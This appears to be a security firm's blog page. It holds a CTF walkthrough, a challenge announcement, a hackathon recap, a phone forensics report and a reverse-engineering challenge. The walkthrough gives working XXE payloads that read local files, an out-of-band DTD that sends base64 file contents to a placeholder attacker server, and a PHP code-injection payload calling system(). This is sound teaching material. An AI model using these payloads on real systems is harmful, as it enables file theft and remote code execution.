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Fri, 27 Jun 2014

SensePost Challenge - Winners and Walkthrough

We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:


The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.

Walk-through


As stated, there are multiple ways of solving the challenge, we are just going to outline one way that hopefully provides multiple techniques which can be used in real-world pentests.

Flag 1:


The challenge started with the initial goal of "Read the file /home/spuser/flag1.txt" . When visiting the challenge website there were three initial pages available "index","about" and "login". We had numerous challengers head straight to the login page and attempt SQLi. The other common attack we saw was bruteforce attempts against the login. Both of these were fair attempts, however, the real point of interest should have been the "Feed tester" feature on the index page.


The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
The index page had a feed tester feature, this allowed loading of external XML formatted feeds.


Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:




<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<foo>&xxe;</foo>


This would fail with an error message of "Something went wrong". The reason for this was that the application was attempting to parse the XML for valid RSS tags. Thus we need to alter our payload to conform to be a valid RSS feed (We used this as a template).




<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<rss>
<channel>
<title>FreeStuff</title>
<link>http://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>RSS Tutorial</title>
<link>http://www.w3schools.com/rss</link>
<description>&xxe;</description>
</item>
<item>
<title>XML Tutorial</title>
<link>http://www.w3schools.com/xml</link>
<description>New XML tutorial on W3Schools</description>
</item>
</channel>
</rss>


And we should see the contents of flag1.txt displayed in our feed:
And we've captured flag1
And we've captured flag1 Now onto flag 2...

Flag 2:


The contents of flag1.txt revealed the "access code" we needed to log into the site. So we went over to the login page and entered an email address as the username and the access code as our password. Viola, we now have access to the "main" page as well. This page revealed some new functionality, namely the ability to update our user details. Unfortunately there was no upload function here, so there goes the easy shell upload. We updated the user account and used Burp to look at the submitted request.


The submitted POST request
The submitted POST request


It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:




<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">


Note how we had to use the php://filter function to base64 encode our payload. This allowed us to avoid control characters breaking the XML structure and URL format. Finally, the payload submitted to the challenge server simply consisted of:




<?xml version="1.0" ?>
<!DOCTYPE r [<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">
%sp;%param1;]>
<r>&exfil;</r>


We didn't really need to worry about what happens after our "XXE payload" because the xmldecoder had already submitted the contents of file2.txt to our server before the application code started parsing the XML document. When submitting the payload we needed to encode the % and & symbols otherwise these broke the XML decoder.


Our payload was correctly encoded submitted to the profile update function.
Our payload was correctly encoded submitted to the profile update function.


As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:


The challenge server would send the contents of flag2.txt to our server.
The challenge server would send the contents of flag2.txt to our server.


Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...

Flag 3 AKA "get your name on the wall of fame":


Flag 2 gave us the access code we needed to unlock the final piece of the challenge. This presented us with the "add a feed" feature. Again, we first tried out the new feature to see what was happening. Our first observation was that nothing happens when we just add the feed. However, things do get interesting when we view our new feed. The new feed is displayed in a freshly generated php page. This should have triggered warning bells, we've got php being generated, how about we inject some php? Looking at the feed creation we again note that the payload consists of some XML being submitted. Now if we wanted to inject a shell, how would we do this without breaking the XML structure? Two options were available to us, one, encoding and two XML trickery. The encoding option was simple, simply encode all the angle brackets of our php payload and then insert it into our XML payload. This worked because php was kind enough to decode the URL encoded elements AFTER the XML decoder had done it's thing. Thus the XML validated successfully and our encoded characters got decoded back into their original form before being inserted into our new php file. The second option was to surround our php code with CDATA tags. The CDATA tags told the XML decoder not to parse the content surrounded by these tags as XML but rather treat it as free text. Simple enough and quicker than manually encoding our payload. Thus our new payload would look as follows:




<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url>http://google.com/</url></feed>


Now we had a new link created in the feeds list. We could navigate to this new feed and our php code would get executed as the page loaded. And boom, just like that our name should be on the "Wall of Fame". We could easily verify this by using the XXE from flag 1 and fetching /home/spuser/wof.txt instead. Below is the "Wall of Fame" at time of writing:

  • secdefect

  • Ron

  • ftard

  • send9 wuz here

  • @leonjza was here :)

  • harry@nsense was here 1403445693

  • #uushomo@1403472051

  • marquee was here

  • El Gato!El Gato!

  • melih_sarica_ms_isr_com_tr_was_here


Winners!


Congratulations to everyone who finished the challenge! However, there could only be one winner. The winner is Espes, who narrowly beat our two runners up to win a training ticket for any one of our course at Black Hat Vegas 2014.


The two runners up who both can claim one of our awesome 2014 t-shirts:


Vitaly aka @send9


Sash aka @secdefect


Education is the most powerful weapon which you can use to change the world - Mandela
Education is the most powerful weapon which you can use to change the world - Nelson Mandela

Thu, 19 Jun 2014

Hacking Challenge: Drive a tank through it

russia-dashboard-cam-tank-drives-across-road-snow-1359329911C
At SensePost we get to enjoy some challenging assessments and do pretty epic things. Some days it feels like the only thing that could make it better would be driving tanks while doing it. The best hacks normally make their way into our training courses as practical exercises where students get to replicate (and improve on) these hacks. However, we know that there isn't always room for all the epicness and unfortunately not everyone can attend the training. So we put some into a challenge for you. We've taken a few recent hacks and rolled them into one challenge, can you crack it?


Target: http://challenge.sensepost.com/
Starting-point: Read the contents of /home/spuser/flag1.txt
Once you've completed the challenge, email us with a screenshot of your victory and a short overview of how you did it.
The prize: The winner of this challenge will be offered a free seat on any one of the SensePost training courses at Black Hat 2014.


It's almost Black Hat time again and as always SensePost will be presenting numerous Hacking by Numbers training course, which we've rewritten this year. For more information on the training courses on offer at Black Hat this year, check out:


Good luck comrade!

Mon, 7 Apr 2014

SenseCon 2014

L1000617
What originally started as one of those "hey, wouldn't this be cool?" ideas, has blossomed into a yearly event for us at SensePost. SenseCon is a time for all of us to descend on South Africa and spend a week, learning/hacking/tinkering/breaking/building, together and in person.


A few years ago we made the difficult, and sometimes painful, shift to enable remote working in preparation for the opening of our UK and Cape Town offices. Some of you probably think this is a no-brainer, but the benefit of being in the same room as your fellow hackers can't be overlooked. Being able to call everyone over to view an epic hack, or to ask for a hand when stuck is something tools like Skype fail to provide. We've put a lot of time into getting the tech and processes in place to give us the "hackers in the same room" feel, but this needs to be backed with some IRL interaction too.


People outside of our industry seem to think of "technical" people as the opposite of "creative" people. However, anyone who's slung even a small amount of code, or even dabbled in hacking will know this isn't true. We give our analysts "20% time" each month to give that creativity an outlet (or to let on-project creativity get developed further). This is part of the intention of SenseCon: a week of space and time for intense learning, building, and just plain tinkering without the stresses of report deadlines or anything else.


But, ideas need input, so we try to organise someone to teach us new tricks. This year that was done by Schalk from House 4 Hack (these guys rocks) who gave us some electronic and Arduino skills and some other internal trainings. Also, there's something about an all-nighter that drives creativity, so much so that some Plakkers used to make sure they did one at least once a month. We use our hackathon for that.


Our hackathon's setup is similar to others - you get to pitch an idea, see if you can get two other team mates on board, and have 24 hours to complete it. We had some coolness come out of this last year and I was looking forward to seeing what everyone would come up with this time round.


L1000662


Copious amounts of energy drinks, snacks, biltong and chocolates were on supply and it started after dinner together. The agreed projects were are listed below, with some vagueness, since this was internal after all :)


  • pORTAL anonymous comms device - Sam & Dr Frans


Getting a modified version of Grug's pORTAL device working on a Beagle Bone and Rasperry Pi for us to use while traveling.

  • Video Conferencing - Craig and Marc


For video conferencing we normally use a combination of Skype, Go-To-Meeting, Google hangouts, or a page long gstreamer command piped over a netcat tunnel (I'm not kidding). Craig and Marc built an internal video conferencing solution with some other internal comms tools on the side.

  • SensePost Radar - Keiran and Dane


SensePost Radar
SensePost Radar


Keiran and Dane put our office discone antenna to good use and implemented some SDR-fu to pick up aeroplane transponder signals and decode them. They didn't find MH370, but we now have a cool plane tracker for SP.


  • WiFi Death Flag - Charl


Charl, so incredibly happy!!
Charl, so incredibly happy!!


Using wifi-deauth packets can be useful if you want to knock a station (or several) off a wifi network. Say you wanted to prevent some cheap wifi cams from picking you up ... Doing this right can get complicated when you're sitting a few km's away with a yagi and some binoculars. Charl got an arduino to raise a flag when it was successfully deauthed, and lower it when connectivity is restored for use in a wifi-shootout game.


  • Burp Collaboration tool - Jurgens, Johan & Willem


Inspired by Maltego Teeth, Jurgens set about building a way to have multiple analysts collaborate on one Burp session using a secure Jabber transport. He and Johan got this working well, and we will be releasing it and several other Burp apps during the ITWeb Security Summit in Johannesburg in May.

  • How to Pwn a Country - Panda and Sara


YMCA pwnage
YMCA pwnage


Panda (Jeremy) and Sara ended up building local Maltego transforms that would allow mass/rapid scanning of large netblocks so you can quickly zoom in on the most vulnerable boxes. No countries were harmed in the making of this.


  • Bender - Vladislav


While doing client-side engagements, we realised we needed our own payload to help us to better move from spear-phish to persistent internal network access. Earlier in the year, Vlad put our hacks into a professional SensePost beaconing payload he called Bender. During the hackathon he extended its capability in some key areas.

  • Oh-day stuffs - Georg and Etienne


He likes his ice-cream
He likes his ice-cream


gcp and et decided on some good ol'fashioned fuzz-n-find bug hunting on a commercial mail platform, and websense. Along the way they learned some interesting lessons in how not to fuzz, but in the end found some coolness.


  • 3d Printer - Rogan


Rogan finally got around to putting his 3D printer together! He hasn't printed an SP logo yet, but we're assuming this is the most logical first print.

  • Rogue AP - Dominic & Ian


In preparation for our BlackHat submission, singe and ian spent some time researching our new wifi attacks. This resulted in a key new finding and implementation of their new KARMA rogue-ap attack.

  • The challenge - Daniel


I too had to show that I still had tech skills (not all spreadsheeting you know) and created a challenge to send our peeps down the rabbit hole while pushing their skills but also awaken some old school hacking approaches.


L1000686


The hackathon went gangbusters; most of the team went through the night and into the morning (I didn't, getting old and crashed at 2am). Returning that morning to see everyone still hacking away on their projects (and a few hacking away on their snoring) was amazing.


Once the 24-hours was up, many left the office to grab a shower and refresh before having to present to the entire company later on that afternoon.


Overall this years SenseCon was a great success. Some cool projects/ideas were born, a good time was had AND we even made Charl feel young again. As the kids would say, #winning


 


 


 


 

Fri, 7 Feb 2014

Channel 4 - Mobile Phone Experiment


This evening we were featured on Channel 4's DataBaby segment (link to follow). Channel 4 bought several second hand mobile phones that had been "wiped" (or rather reset to factory default) from various shops. Our challenge was to recover enough data from these seemingly empty phones to identify the previous owners.


After a long night of mobile forensics analysis, we had recovered personal data from almost every phone we had been provided with. This information included:


  • Browsing history

  • Cookies (e.g. email and Facebook)

  • Contacts

  • SMS messages

  • Photographs

  • Address information

  • Personal documents


It would have been theoretically possible to use the cookies to impersonate the users - i.e. log in as the previous owners. We opted not to do this, as it was crossing an ethical line.

What's the lesson here?


Be very careful when selling your phone. It's fairly trivial to recover large amounts of data from mobile phones - and the tools to do so are freely available.

How can I protect myself?


This will depend on what type of phone you have, and specifically whether the data is encrypted, and if it is, if the key is recoverable. Unencrypted phones were easy game.


iPhone devices encrypt their data by default, which makes it hard (almost impossible) to recover data after performing a factory reset. There are some attacks against iPhones older than 4s which may have more success.


Android devices by default have no encryption, which means that somebody (like us) could easily recover large amounts of supposedly deleted data. It's a good idea to keep your phone encrypted.


Both Windows phone 8 and BlackBerry allow optional encryption to be configured, but this is not enabled by default. Windows phone 7 does not support encryption of the core filesystem.


If you have an existing phone that you're about to sell we'd recommend you encrypt the phone twice after resetting it to factory default (once to destroy your data, the second time to destroy the key used for the first round).


Keep in mind, this applies to all storage media - hard drives on laptops, camera memory cards, etc. It's largely recoverable, even when seemingly deleted.


We would like to thank Paolo Dal Checco (@forensico) and fellow SensePost'er Vlad (@v1ad_o) for their help during the experiment.


On a legal note, the experiment was conducted on a laptop with full disk encryption, and *all* data was deleted after returning the phones to Channel 4.

Mon, 20 Jan 2014

January Get Fit Reversing Challenge

Aah, January, a month where resolutions usually flare out spectacularly before we get back to the couch in February. We'd like to help you along your way with a reverse engineering challenge put together by Siavosh as an introduction to reversing, and a bit of fun.

The Setup


This simple reversing challenge should take 4-10+ hours to complete, depending on your previous experience. The goal was to create an interactive challenge that takes you through different areas of the reverse engineering process, such as file format reverse engineering, behavioural and disassembly analysis.


Once you reached the final levels, you might need to spend some time understanding x86 assembly or spend some time refreshing it depending on your level. To help out, Siavosh created a crash course tutorial in x86 assembly for our malware workshop at 44con last year, and you can download that over here.


The zip file containing the reversing challenge and additional bytecode binaries could be found here.


Send your solution(s) to challenge at sensepost.com

The Scenario


You've been called into ACME Banks global headquarters to investigate a breach. It appears Evilgroup has managed to breach a server and deploy their own executable on it (EvilGroupVM.exe). The executable is software that accepts bytecode files and executes them, similar to how the Java Virtual Machine functions. Using this technique, Evilgroup hopes they can evade detection by antivirus software. Their OPSEC failure meant that both the virtual machine executable and several bytecode files were left behind after the cleanup script ran and it's your job to work out the instruction set of EvilGroupVM.exe.


Disclaimer: When using the term "virtual machine" we mean something like the Java Virtual Machine. A software based architecture that you can write programs for. This particular architecture, EvilGroupVM.exe, has nine instructions whose operation code (opcode) you need to find through binary reverse engineering.


The tools you will require are:


  • A hex editor (any will do)

  • A disassembler like IDA (the free version for Windows will work if you don't have a registered copy)

  • A debugger, Olly or WinDBG on Windows, Gnu GDB or EDB on Linux https://www.gnu.org/software/gdb/


Basic Usage: Unzip the reverseme folder, open a command line and cd to it. Depending on operating system, type
Windows: EvilGroupVM.exe <BytecodeFile>
Ubuntu Linux: ./EvilGroupVM <BytecodeFile>

For example, to run the helloworld bytecode file on Windows, you would type:
EvilGroupVM.exe helloworld

IMPORTANT: Note that the EvilGroupVM.exe architecture has debugging capabilities enabled. This means, it has one instruction that shows you the thread context of a binary when it is hit. Once you start developing your own bytecode binaries, it is possible to debug them (but you need to find the debug instruction/opcode first).


The outcome of this exercise should include the following key structures in your report:


  1. A description of the binary file format. For example:

    • What does the bytecode file header look like?

    • What determines where execution will start once the bytecode is loaded in the VM?

    • Does the architecture contain other parts of memory (like a stack) where it can store data and operate on them?


  2. The instruction set including their impact on the runtime memory. You should:


    • Find all instructions that the EvilGroupVM.exe accepts

    • Analyse each of them and understand how they make changes to the runtime memory of the bytecodes thread


  3. Write a proof of concept self modifying bytecode file that prints your name to the screen. The binary must be self modifying, that is, you may not use the "print_char" instruction directly, rather, the binary must modify itself if it wants to make use of "print_char".

  4. For the advanced challenge, if you have the ability and time, send us back a C file that, when compiled, will give an almost exact match compared to EvilGroupVM (Ubuntu Linux) or EvilGroupVM.exe (Windows). Focus on getting pointer arithmetic and data structures correct.


In case you missed it earlier, the zip file containing the reversing challenge and additional bytecode binaries could be found here.


Send your solution(s) to challenge at sensepost.com


Good luck!